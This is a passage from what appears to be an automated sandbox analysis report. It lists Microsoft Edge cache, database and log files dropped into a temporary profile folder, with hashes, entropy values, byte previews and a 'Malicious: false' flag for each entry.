SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\6d510b04-4bda-4c1f-abee-5fe18364f481.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Cache\Cache_Data\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.012760698469074051
Encrypted:	false
SSDEEP:	3:MsFlYhEtlGJllMRAxp//12A+0/X:/FiEXGeRyxD
MD5:	2562B35433604AEDE22A2D41039A6BE2
SHA1:	E6B11B9E5C340A2C0CD661DB4FFE3360736A3B99
SHA-256:	C46B985B66327C617C0CF470EFB72F33BE152164A02FACDE4A1EC7C38262C5EE
SHA-512:	17D73894497CC1DB2CAA957F09F4FA46643C8CD5DAACF21EA43C9A27FB1D41E082E5BC220F80EFDE4A9F70DB9960E2B8A661B736FE6769D017D29B842A764F87
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Cache\Cache_Data\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.028926716882901618
Encrypted:	false
SSDEEP:	12:U/BEhPgAQcdCIRrYfhbtZPC93OHjsqJm09MWPG:qYP7d/Rc1PCQHjTpM
MD5:	D137778AB1A214706C2A4800EAC80E04
SHA1:	C897AE0F457979CE071877DEFA8ACCC6969F7E9F
SHA-256:	6132838122579BE019779BBC60B0F8EF8EBBF264E73BFD422471FAF1DACE87D9
SHA-512:	8C7E0FF62615FF3AE1D4D0138176F0437AB005C46DA96B023770039711301F8E8CE7C1395EF81B30A49AB6A196056E0F9A1032851170B88CFB706FD153659CF2
Malicious:	false
Preview:	................................................................................s.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Cache\Cache_Data\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Cache\Cache_Data\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Cache\Cache_Data\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulZ7lll:Lsmlll
MD5:	0124FC300BA1B3F08F9982F29D156C30
SHA1:	BBE5C96AB499372004F3DFD047645AA69E48416E
SHA-256:	6468FCCCF8D05E472D4DC40A2FAC2CF9E41CCD8736AE436DF0CA26268DE1A7B0
SHA-512:	E49C00FF3EB9471A25597D12C9551CB296F8DAF6B195650A15A8C40CDC93D7579EA5CE874FDBF8E3BB3F110C0003AB58DCFDD9DB934CC308C9824BEB3B32C33C
Malicious:	false
Preview:	.........................................!.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\js\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:7JCWFjEtv5:QWqtx
MD5:	3C9BBBD67DCC0AEE4460DE770F446AE3
SHA1:	48163C6722C05289B6DB5F9AA6E67F60D87231A9
SHA-256:	324BA9E7CE493BE9DF1FD25CAD6089AD2B1F8F1BE0D0BB89CD7DB36ACE95E215
SHA-512:	653DAE8844CE47FBFC847928FD9C68680F54CC3F1A3FBC43BD57813EB1610036EEF89690E1641344B967BB93F4B3DB3128FD15B4B404DCC0E1FAD292847521AF
Malicious:	false
Preview:	(...f,'.oy retne........................1c..../.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\wasm\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\wasm\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:AiHC0EN34TA+:AiHqNIk+
MD5:	CD1F8B165B153D99C15F45C7C96D4970
SHA1:	B02ABBA0F5FF15BD54A07D9A464AFFF9B5EF6CCF
SHA-256:	A0EE4A6691F50434FE83D0CD38C2E1397B133D6065A1A4A38705D14588D91FBA
SHA-512:	9AC4FC96D408E0545AB5A5D6A32E7BCCD197A41A754154F4C1C774D2D66A498890FA1F7713D2D1029927E5566E2ADE9EC96EB883267ED9C721E37BCA7FF1F7FA
Malicious:	false
Preview:	(...].X.oy retne............................../.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\DawnCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\DawnCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\DawnCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\DawnCache\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\DawnCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl9tDll:Ls3PDll
MD5:	8942CF2887B1C0D11EA8A22754ADAF40
SHA1:	A385C5F32729F45AD32A74C70A7B9F8281BDCCBE
SHA-256:	109994A7B80E81A2A5FBE091743F1809F9A0BF4D1EECD174353CBD03D325BD01
SHA-512:	DDCC500B0F82F66BB0BFD882436BA6DB1E69BE52F1E55EE3DDD5C76D79CE47F800940780D0EF4382B3843BD6807283C48A9533FB2D414CF5B6503FB1F1D6F6F6
Malicious:	false
Preview:	.........................................a..../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons\coupons_data.db\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons\coupons_data.db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.406920649862789
Encrypted:	false
SSDEEP:	6:YxEmRRM1e0i23fQXnG2tbB2KLlaxpb8q2Pe0i23fQXnG2tMsIFUv:YCukZWn9VFLQPgvvZWn9GFUv
MD5:	62434867B1953A299F534716306FFC7F
SHA1:	D8EE9C9BA6E37F774C75775CBE4567EDD3BC40DE
SHA-256:	9353D024C5C9E39A96EE91F28D3A2DDC9AD69653916833069B2E8C48D3D0325E
SHA-512:	AC86A76601044EB4F415DA68750EB8D786B23E32C0A6DE8C8E11DE8025FE374B4DABC6D612FCD220A1D6F267A7EB0460A3386E5C2AAB39D7BC67FD48DE10C2B9
Malicious:	false
Preview:	2024/12/05-04:39:42.798 1e74 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons/coupons_data.db since it was missing..2024/12/05-04:39:42.849 1e74 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	269
Entropy (8bit):	5.34379285842358
Encrypted:	false
SSDEEP:	6:Yx5SM1e0i23fQX8aVdg2KLlaxPP8yq2Pe0i23fQX8aPrqIFUv:Y/SkZW0LQVPxvvZWL3FUv
MD5:	1E51EA7B1DF0904207297EC91D519074
SHA1:	B99E2F2CDB6795187016100C31B3D1AA523E7FC9
SHA-256:	72CFC0862E996B24FB0070EE3DF4CDC56C0CC477888AD871701D79D0ED80D6FF
SHA-512:	271F59D5BE1CCB1C5EECFD1CEB5A6425D3DAE89A53E9A4D2EFF35BB3CD262C8CBC84B337688CEBAE471D507818D0283AEA860D8F25B5B73F27E68A705F9AAC74
Malicious:	false
Preview:	2024/12/05-04:39:42.797 1e94 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules since it was missing..2024/12/05-04:39:42.958 1e94 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCT
MD5:	E952942B492DB39A75DD2669B98EBE74
SHA1:	F6C4DEF325DCA0DFEC01759D7D8610837A370176
SHA-256:	14F92B911F9FE774720461EEC5BB4761AE6BFC9445C67E30BF624A8694B4B1DA
SHA-512:	9193E7BBE7EB633367B39513B48EFED11FD457DCED070A8708F8572D0AB248CBFF37254599A6BFB469637E0DCCBCD986347C6B6075C06FAE2AF08387B560DEA0
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	273
Entropy (8bit):	5.320601691685092
Encrypted:	false
SSDEEP:	6:YxAaAAuM1e0i23fQX86FB2KLlawWlyq2Pe0i23fQX865IFUv:YR9ukZW/FFLQPIvvZW/WFUv
MD5:	0DA399EAAB4C05F46DCC39E272DA714E
SHA1:	93155E8233EB15885FE4D2446E3520E6FEC2EA77
SHA-256:	68322C9EE921362E7A62112EE811D4D6BF8581DFA36D2B5851B443975927E71A
SHA-512:	929B8FA9B2F0D784F4D4F65E1580B39A77A8BAC6535CFE3E0729D3F3B870CB1EF6D6978467860EC1FDB50EB0241985C82114B831FD4B022F8CC8C419720889D4
Malicious:	false
Preview:	2024/12/05-04:39:42.986 1e94 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts since it was missing..2024/12/05-04:39:43.024 1e94 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Favicons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6975083372685086
Encrypted:	false
SSDEEP:	24:LLiZxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:EBmw6fU1zBmI
MD5:	F5BBD8449A9C3AB28AC2DE45E9059B01
SHA1:	C569D730853C33234AF2402E69C19E0C057EC165
SHA-256:	825FF36C4431084C76F3D22CE0C75FA321EA680D1F8548706B43E60FCF5B566E
SHA-512:	96ACDED5A51236630A64FAE91B8FA9FAB43E22E0C1BCB80C2DD8D4829E03FBFA75AA6438053599A42EC4BBCF805BF0B1E6DFF9069B2BA182AD0BB30F2542FD3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\GPUCache\data_0

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\GPUCache\data_1

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\GPUCache\data_2

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\GPUCache\data_3

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\GPUCache\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
